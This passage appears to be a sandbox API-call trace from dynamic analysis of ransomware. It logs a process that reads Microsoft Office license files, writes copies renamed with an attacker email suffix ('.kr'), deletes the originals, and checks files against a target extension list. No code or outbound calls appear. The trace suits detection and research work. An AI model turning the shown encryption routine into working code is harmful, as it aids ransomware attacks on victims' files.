lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.860] lstrlenW (lpString="O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 33 [0205.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.861] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=24369) returned 1 [0205.861] CloseHandle (hObject=0x3ec) returned 1 [0205.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 0x220 [0205.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.862] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.862] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0205.863] GetLastError () returned 0x0 [0205.863] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5f31, lpOverlapped=0x0) returned 1 [0205.962] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5f40, lpOverlapped=0x0) returned 1 [0205.964] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.964] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0205.964] SetEndOfFile (hFile=0x550) returned 1 [0205.964] CloseHandle (hObject=0x550) returned 1 [0205.964] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.964] SetEndOfFile (hFile=0x3ec) returned 1 [0205.968] CloseHandle (hObject=0x3ec) returned 1 [0205.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 1 [0205.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString=".doc") returned 4 [0205.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".docx") returned 5 [0205.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.970] lstrlenW (lpString=".pdf") returned 4 [0205.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".xls") returned 4 [0205.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".xlsx") returned 5 [0205.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.970] lstrlenW (lpString=".ppt") returned 4 [0205.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString=".zip") returned 4 [0205.970] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".rar") returned 4 [0205.970] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".bz2") returned 4 [0205.970] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString=".7z") returned 3 [0205.970] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString=".dbf") returned 4 [0205.970] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString=".1cd") returned 4 [0205.970] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString=".jpg") returned 4 [0205.970] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.971] lstrlenW (lpString=".doc") returned 4 [0205.971] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".docx") returned 5 [0205.971] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.971] lstrlenW (lpString=".pdf") returned 4 [0205.971] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".xls") returned 4 [0205.971] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".xlsx") returned 5 [0205.971] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.971] lstrlenW (lpString=".ppt") returned 4 [0205.971] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.971] lstrlenW (lpString=".zip") returned 4 [0205.971] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".rar") returned 4 [0205.971] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".bz2") returned 4 [0205.971] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString=".7z") returned 3 [0205.971] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.971] lstrlenW (lpString=".dbf") returned 4 [0205.971] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.971] lstrlenW (lpString=".1cd") returned 4 [0205.971] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0205.971] lstrlenW (lpString=".jpg") returned 4 [0205.971] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.972] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.972] lstrlenW (lpString="O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 33 [0205.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.973] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=24369) returned 1 [0205.973] CloseHandle (hObject=0x3ec) returned 1 [0205.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 0x220 [0205.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.973] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.973] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0205.974] GetLastError () returned 0x0 [0205.974] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5f31, lpOverlapped=0x0) returned 1 [0206.000] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5f40, lpOverlapped=0x0) returned 1 [0206.001] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.001] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0206.001] SetEndOfFile (hFile=0x550) returned 1 [0206.023] CloseHandle (hObject=0x550) returned 1 [0206.035] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.035] SetEndOfFile (hFile=0x3ec) returned 1 [0206.072] CloseHandle (hObject=0x3ec) returned 1 [0206.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.073] lstrlenW (lpString=".doc") returned 4 [0206.073] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString=".docx") returned 5 [0206.073] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.073] lstrlenW (lpString=".pdf") returned 4 [0206.073] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString=".xls") returned 4 [0206.073] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString=".xlsx") returned 5 [0206.073] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.073] lstrlenW (lpString=".ppt") returned 4 [0206.073] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.073] lstrlenW (lpString=".zip") returned 4 [0206.073] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString=".rar") returned 4 [0206.073] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.073] lstrlenW (lpString=".bz2") returned 4 [0206.073] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".7z") returned 3 [0206.074] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString=".dbf") returned 4 [0206.074] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString=".1cd") returned 4 [0206.074] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString=".jpg") returned 4 [0206.074] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString=".doc") returned 4 [0206.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".docx") returned 5 [0206.074] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.074] lstrlenW (lpString=".pdf") returned 4 [0206.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".xls") returned 4 [0206.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".xlsx") returned 5 [0206.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.074] lstrlenW (lpString=".ppt") returned 4 [0206.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.074] lstrlenW (lpString=".zip") returned 4 [0206.074] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".rar") returned 4 [0206.074] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.074] lstrlenW (lpString=".bz2") returned 4 [0206.075] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.075] lstrlenW (lpString=".7z") returned 3 [0206.075] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.075] lstrlenW (lpString=".dbf") returned 4 [0206.075] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.075] lstrlenW (lpString=".1cd") returned 4 [0206.075] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0206.075] lstrlenW (lpString=".jpg") returned 4 [0206.075] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.075] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.075] lstrlenW (lpString="O365SmallBusPremR_Grace-ppd.xrm-ms") returned 34 [0206.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.076] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23776) returned 1 [0206.076] CloseHandle (hObject=0x3ec) returned 1 [0206.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 0x220 [0206.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0206.077] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.077] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.077] GetLastError () returned 0x0 [0206.077] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5ce0, lpOverlapped=0x0) returned 1 [0206.097] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5cf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5cf0, lpOverlapped=0x0) returned 1 [0206.098] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.098] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0206.098] SetEndOfFile (hFile=0x3f8) returned 1 [0206.099] CloseHandle (hObject=0x3f8) returned 1 [0206.099] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.099] SetEndOfFile (hFile=0x3ec) returned 1 [0206.102] CloseHandle (hObject=0x3ec) returned 1 [0206.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 1 [0206.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.103] lstrlenW (lpString=".doc") returned 4 [0206.103] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.103] lstrlenW (lpString=".docx") returned 5 [0206.103] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.104] lstrlenW (lpString=".pdf") returned 4 [0206.104] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".xls") returned 4 [0206.104] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".xlsx") returned 5 [0206.104] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.104] lstrlenW (lpString=".ppt") returned 4 [0206.104] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString=".zip") returned 4 [0206.104] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".rar") returned 4 [0206.104] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".bz2") returned 4 [0206.104] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".7z") returned 3 [0206.104] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString=".dbf") returned 4 [0206.104] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString=".1cd") returned 4 [0206.104] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString=".jpg") returned 4 [0206.104] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.104] lstrlenW (lpString=".doc") returned 4 [0206.104] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.104] lstrlenW (lpString=".docx") returned 5 [0206.104] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.105] lstrlenW (lpString=".pdf") returned 4 [0206.105] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString=".xls") returned 4 [0206.105] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString=".xlsx") returned 5 [0206.105] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.105] lstrlenW (lpString=".ppt") returned 4 [0206.105] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0206.105] lstrlenW (lpString=".zip") returned 4 [0206.105] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString=".rar") returned 4 [0206.105] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.105] lstrlenW (lpString=".bz2") returned 4 [0206.105] lstrcmpiW 